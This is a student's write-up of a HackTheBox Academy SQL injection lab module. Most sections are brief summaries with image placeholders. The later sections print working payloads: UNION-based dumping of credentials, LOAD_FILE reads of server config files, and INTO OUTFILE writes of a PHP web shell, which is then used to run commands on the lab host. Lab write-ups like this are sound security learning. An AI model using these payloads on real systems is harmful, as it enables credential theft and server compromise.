Logo
SQL Injection Fundamentals

SQL Injection Fundamentals

July 30, 2025
3 min read
index

Student: Tapiwanashe Mlambo
Module: SQL Injection Fundamentals


1. INTRODUCTION

I have just completed the SQL Injection Fundamentals module on HackTheBox Academy. The module dissected the database language SQL and the various ways in which attackers try and manipulate it. The essence of it all was that SQL, the language used by most relational databases, can be an excellent target for attackers because it is the key to stored sensitive information, including user credentials. This module was tagged offensive so we were on the red side of things.

2. SQLi

The first section of the module introduces SQL Injection (SQLi), a common and critical web application vulnerability that targets relational databases like MySQL…

3. DATABASES

This section introduces the core concepts of databases and SQL, which are essential for powering dynamic web applications…

4. INTRODUCTION TO MYSQL

This section introduces MySQL as the database system used throughout the module and explains the basics of SQL…

image1
image2

5. SQL STATEMENTS

In this lesson, we explored several essential SQL statements that are fundamental to working with databases…

image3
image4

6. QUERY RESULTS

In this section, we learned how to refine and control the results returned by SQL queries…

image5
image6

7. SQL OPERATORS

This section taught how to use logical operators (AND, OR, NOT) to combine multiple conditions in SQL queries…

image7
image8

8. SQL INJECTIONS

This section introduced the concept of SQL injection and how it can exploit vulnerabilities in web applications…

9. SUBVERTING QUERY LOGIC

This section demonstrated how to manipulate SQL query logic to bypass authentication using SQL injection techniques…

image9
image10
image11

10. USING COMMENTS

This section explains how SQL comments (— or #) can be used to bypass login authentication…

image12
image13
image14

11. UNION CLAUSE

The UNION operator allows combining the results of two SELECT queries into one…

image15
image16
image17

12. UNION INJECTION

This section explains how to perform a Union-based SQL injection…

image18
image19
image20

13. DATABASE ENUMERATION

This section walks through the process of database enumeration using SQL injection…

image21
image22

cn' UNION SELECT 1, COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' AND TABLE_SCHEMA='ilfreight' -- -

image23

cn' UNION SELECT 1, username, password, 4 FROM ilfreight.users -- -

image24

14. READING FILES

This section explores how SQL injection can be used not just for reading data from databases…

cn' UNION SELECT 1, USER(), 3, 4 -- -

image25

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'" -- -

image26

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4 -- -

image27

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/config.php"), 3, 4 -- -

image28
image29

15. WRITING FILES

This section explains how attackers can write files to a backend server via SQL injection…

cn' UNION SELECT "", '<?php system($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- -

image30
image31

Then in browser:

http://94.237.61.242:48471/shell.php?0=find / -name "*flag*" 2>/dev/null

image32

http://94.237.61.242:48471/shell.php?0=cat%20/var/www/flag.txt

image33
image34

16. MITIGATING SQL INJECTION

This section outlines key strategies to mitigate SQL injection vulnerabilities…

17. SKILLS ASSESSMENT

The company Inlanefreight has contracted you to perform a web application assessment…

' AND 1=1 --

image35

4 columns

' UNION SELECT NULL,NULL,NULL--

Tried injecting:

' UNION SELECT A,B,C-- → failed
' UNION SELECT 1,2,3--- → worked
' OR IF(EXISTS(SELECT 1 FROM users),SLEEP(5),0)-- → lagged, exists
xx' union select 1,2,3,4-- -

image36

xx' union select 1,user(),3,4,5-- -

image37

xx' union select 1,grantee,privilege_type,4,5 from INFORMATION_SCHEMA.USER_PRIVILEGES where grantee="'root'@'localhost'"-- -

image38

xx' union select "",'<?php system($_GET["cmd"]) ?>',"","","" into outfile '/var/www/html/dashboard/file.php' -- -

image39
image40
image41
image42

18. CONCLUSION

8 hours of SQL injection! The skills assessment was especially difficult…

image43